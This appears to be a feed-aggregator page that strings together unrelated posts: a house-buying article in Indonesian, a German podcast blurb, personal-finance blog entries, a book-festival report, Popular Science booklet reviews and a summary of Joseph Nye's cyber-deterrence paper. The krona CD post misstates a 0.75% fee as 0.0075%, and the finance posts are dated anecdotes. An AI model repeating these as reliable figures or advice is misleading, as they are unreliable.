    Tahapan 9 Meningkatkan  status menjadi Sertfikat Hak Milik (SHM)

    Demikian artikel PROSES MEMBELI RUMAH DARI DEVELOPER YANG WAJIB DIKETAHUI, semoga artikel singkat ini membantu Anda.

    Ingin mendapatkan informasi lebih jelas ?
    Langsun hubungi Citra Property Land

              Comment on The Best Ways To Conserve Meat Without Refrigeration by Neil Larson        
    These are great ideas, but I imagine there are less than half of the US that can even get a space to 36F. In the south, even if you have a stream coming off the mountains and build a spring house, you won't be able to get the room to 36 except in the winter months. Here is Mississippi, there is not a chance of this even during the coldest winter months. How about info for storing meats for this of us not living in the mountains in the north?
              #033: Ideen bewusst generieren: Der Ideen-Marathon        

    Wurden Sie auch schon mal von der Muse geküsst? Ein wunderbares Gefühl!

    Leider muss man die Muse auch einladen, damit Sie uns nicht einfach ignoriert. Warten wir einfach auf neue Ideen, dann warten wir lange.

    Es gibt aber eine einfache Methode, Ideen am Laufmeter zu generieren: Der Idee-Marathon.

    Hören Sie hier, was dieser Idee-Marathon ist, wie Sie es dann schaffen, Ihre Ideen auch tatsächlich umzusetzen, und wie Sie Ideen unterwegs festhalten können.

    Ideen bewusst generieren: Der Ideen-Marathon



    Hier sind die beiden Links, die ich zu Beginn erwähne:

    Ich erwähne im Podcast nebenbei zwei Apps für’s iPhone, um unterwegs Dinge festzuhalten. Hier habe ich sie ausführlicher besprochen:


    Hat Ihnen diese Folge gefallen? Dann empfehlen Sie den Podcast doch weiter. Damit unterstützen Sie gleichzeitig mich und meine Arbeit.

    Besonders hilfreich sind positive Bewertungen bei iTunes. Klicken Sie gleich weiter unten auf den iTunes-Link und schenken Sie mir ein paar Sterne. Vielen Dank!

    Den Podcast abonnieren

    In meinem Podcast “einfach produktiv” geht es jede Woche darum, Ihr Zeitmanagement zu verbessern. Sie können meinen Podcast abonnieren. Sobald eine neue Folge erscheint, erhalten Sie sie so automatisch:

              EverBank Icelandic krona 13.10% APY 3-Month CD        
    Empty Spaces Inc. said...

    have you looked into's icelandic CD? it pay ~10%

    EverBank offers a 13.10% APY 3-Month Icelandic krona CD. The yield looks very attractive so I did some research on this CD. The CD is FDIC-insured. And the reason why the yield is so high is because Iceland is combating inflation and the banks are offering high-yield CDs to combat inflation. So what's the big catch on this CD? I found out that you can lose on principal in the CD, because the krona currency fluctuates. Also, there's a exchange rate fee. The conversion fee is three quarters of a percent (0.0075%) for CDs less than $100,000. The way it works is that your US Dollars get converted to Icelandic kronas and then at maturity if you decide to withdraw, the kronas will be converted back to US Dollars. The exchange rate then could be different from the start of the CD. Does any one has experience with Icelandic CDs? Do you think it is low risk? Are they are other catches I am missing?
              Stocks Trading vs Real Estate Investment        
    Empty Spaces Inc. said...
    just curious, if you're good at making money in the stock market why not stick to it?& why would you try RE investing after its already been appreciating for several years and may be peaking in most areas?
    The stock market is unpredictable. No matter how good you are or how well you have done, there's no guaranteed of future results. Granted, I have done well in the stock market since I have officially started investing and I'm confident I'll continue to do well, I cannot depend on that to make me rich. Also, my earnings in the stock market is not steady. There are some months I go into the negative zone, and those months are hard to bare even though I have very high tolerance. It's not good to be constantly picking stocks in the long term. It's very time-consuming; I've spent a lot of time reading up on companies and financial news. Also, studies show that you'll likely be beaten by the index in the long run. Even if I can match or slightly beat the index in ten years, I would lose in time and opportunity because I'd have spent thousands of hours. An investor in the index would have done nothing but did not sacrifice as much time as I did. Unless I can beat the index by a huge margin year over year for many years, it's not worth spending hundreds of hours a year. I admit my view has changed slightly. I'm not against investing in individual stocks, but I advise caution, because many people go in without really understanding the risk. Play with money you can afford to lose. Real Estate investing is an alternative to stocks trading and in many people's eyes, it's less risky. I agree, because real estate property is tangible and with the increasing population, real estate demand is bound to go up. My rental property is in Philly, which is not a hot area like NYC or San Diego. Even though the property value is not skyrocketing, I still have rental income to fall back on. The rental income covers my mortgage and property expenses. Basically, the tenant is paying for my house. Eventually, the mortgage will be paid off and I will own the property. It is a long term investment and property value will go up. So far, my real estate investment has been less stressful than my stocks investment. I get a check every month and my tenants never bothered me. Hopefully, I can be this lucky for every investment property.
              Interview with Kas        
    I was talking to my coworker, Kas a few days ago and she told me she made $18,000 in the past two months. I asked her what she was doing. She said that she had this side business in addition to her day job. I learned that she was selling Christmas ornaments in the mall. It was her friend's business, but because she had been working with her friend for a while, her friend trusted her with the merchandise and gave her 20% profit-sharing. If her share was $18K net, imagine what her friend's was. According to my calculations, her friend made $72,000 in two months.
    The business was selling Christmas ornaments at a small area in a mall. They rented one of those cart spaces. The rent was $25,000 a month, it was a special deal because Kas' friend knows the owner. They hire a few helpers on an hourly base. They sold Christmas ornaments with personalized name labels on them. It was a perfect time because everyone was shopping for Christmas ornaments, and the lines were very long.
    I believe they made a gross profit of 100K+ in two months. The ornaments are from a distribution in Hawaii. I was told that you would need connections to get to the supplier. Kas' friend has connections to the supplier and the mall. She rents the mall spot for only two months and has the spot reserved for her every year. Kas' friend has been doing it for years, and she will continue to do it indefinitely. It's a no-brainer. Kas' friend owns many business, including gas stations.
    I was really impressed that Kas made $18,000 in two months. She did say it was hard work, it was very busy during the holiday season. But I think it paid off well. She seems to be very good at making money. She told me it's easy for her to make money. If you're willing to do some work, you can make money easily. I'm going to talk to her again and see what ideas she has in mind.

              New Year's Resolution        
    My Plans for 2007: Move GrowingMoney blog to my own domain. This will give me more flexibility in the web design and I will also have my own web space to host files (photos, PDFs, etc.). Feel free to provide help for those with your own domain. Contribute to my SEP-IRA. I have open a SEP-IRA with Fidelity and I will make a contribute in the beginning of the year after my accoutant decides what the amount should be. Reallocate 401k Funds. I plan to shift more towards large-cap growth funds. Qualify for IPO trading.
              Interesting forum on self-publishing at 2017 Outwrite LGBT Book Festival in Washington DC        

    Today I visited the 2017 Outwrite LGBT Book Festival in the DC Center office space and surrounding atrium at 14th and U Streets in Washington DC.

    This year I did not have my own table;  I’ll get into this elsewhere.

    The most interesting part of the visit was a presentation in DC Center’s largest room (on 14th Street ground level) from LGBT book publishers and literary agents.

    There was a discussion of what an author goes through if he/she wants to control the process.  It’s usually necessary to hire a copyeditor and a typesetter (who is often the same).  It’s necessary to find a book manufacturer, and prices can vary a lot (many companies exist in the Shenandoah Valley and down in the North Carolina Piedmont).  It seems that Milo Yianopoulos has controlled the production of his book “Dangerous” after Simon and Schuster dropped him after a controversy.

    There was discussion of “guerrilla marketing”, and of the tendency recently for trade publishers not to offer advances, which typically have to be recovered from book sales. 

    There was mention of the use of pseudonyms and pen names, and that in a real world some authors really need to keep their identities secret, usually for reasons other than just being  LGBT, like workplace conflicts or possible security concerns for themselves or others around them.  This is rather alarming.

    There was discussion of “sea turtle authors”, often introverts, who do not like to be pressed to sell aggressively, and are perfectly content to let their “eggs” lie dormant.

    I asked about print-on-demand publishers, like Author Solutions.  The group did not think well of this business model, and referred to it as a “shadow industry”  They felt money should go to authors directly,, but that only works if the author owns the publishing entity.  I did refer to the fact that POD companies have been pressing authors harder to buy copies of books and build their own stores and credit card operations, rather than depend on Amazon and Barnes and Noble. 

    I did mention the SESPA bill from the Senate and the implicit threat to web speech, including eventually author websites. 

              Popular Science: "Are We Alone: Searching for Life in Space"         

    Popular Science (part of Time) is offering a supermarket glossy booklet “Are We Alone? Searching for Life in Space”. 96 pages.

    There are some highlights not seen before in other booklets like this.  One is an examination of the seven earth-like planets around the Trappist M-star 39 light years away, with planet E having the best chance for Earth-like temperatures, and an artist’s rendition of the surface of a moderately cold Planet F.

    There is some discussion of the earth-like planet around Proxima B. an M-star and the closest to Earth at 4.2 light years.

    There is a lot of attention to Europa and its subsurface ocean and likelihood of life, as well as Encedalus.  But Titan gets mentioned only in passing with the possibility of silicon-and-methane based life.  Ironically, my own Science Honor Society project in 1960  had speculated about silicon-based life, but I was hardly as accomplished as Jack Andraka (who came 53 years later, however, and that matters).  I had tried some experiments in my father’s workshop with an acetylene torch that I recall very little about now.

    There is also an article about the idea of aliens eating electricity, which has been the subject of horror movies before (“Kronos”).

    There is mention of the possibility of a Dyson Sphere around Tabby’s Star, as well as other theories, and a nice drawing of what it could look like.

    There’s also an essay about keeping Mars biologically clean. 

              Popular Science: "The Future of Space Travel"         

    Popular Science offers a “Special Edition” mag “The Future of Space Travel”, 96 pages, from Times Books.

    There are many short illustrated articles in 5 parts, “Places We’re Going”, “How We’ll Get There”, “How We’ll Survive There”, “Other Tools of Exploration.”.

    There is a wide variety of interesting information. One fact is that Proxima Centauri, in a 3-star system that is the closest to the Earth, may have a rocky planet in the “GoldiLocks” zone. The shortest time that it is technologically possible to send a robotic probe on a photon light sail with laser accelerator would be about 20 years, which means it would take 24 years to get the photos and information back as to what the planet looks like.  It is about 8000 times as far to this star system as it is to Pluto.

    The other most interesting section is “The Everyday Life of an Astronaut”.  This would be very important for a voyage to Mars, for example.  It raises questions as to who would go:  what about childless or single people?  The long exposure to zero gravity is bound to cause physical deterioration, so this is not a place for pretty preppies.  Essential body functions are different.  You bathe with soap that does not have to be rinse off but stays on the skin to disintegrate. Without gravity, it is hard for your body to sense when it needs to urinate.
    There is an artist’s closeup of Europa on page 8, a closeup on Pluto on p. 16.  There is an article on space mining on p. 16.  I didn't see any discussion of Titan.

              Joseph Nye delivers major paper on cybersecurity, "Deterrence and Dissuasion in Cyberspace"         

    Joseph S. Nye, the University Distinguished Service Professor at Harvard, has a major paper in the MIT Press Journal,  Winter 2016-2017,  â€œDeterrence and Dissuasion in Cyberspace”, with access link to the 71-page PDF here (free).

    Nye discusses for major strategies: (1) Punishment or retaliation (2) denial or defense (3) entanglement (4) taboos or norms.   Some of his scenarios refer to LOAC, or the Laws of Armed Conflict.

    Nye mentions the possibility of threats to power girds, and doubts that they can be fully prevented by “air gaps” between grid or infrastructure pieces and the public Internet

    He mentions the importance of rogue states or non-state actors.  One of his concepts, of norms, would preclude attacks on targets that have civilian use only (this might include political parties). Yet that seems to be the point of attacks by entities like North Korea, or some hackers motivated by ransomware (often in Russia or former Soviet components), or radical Islamists who resent modernism.   North Korea attacked a corporate entity outside its borders, Sony Pictures, in the US, for mocking its leader.  It seems as though a sufficiently radical and nihilistic actor could be motivated by asymmetric targeting of individual speakers in the US or other western countries just to prove it could wreak havoc with all parties associated with a particularly provocative person or private business.

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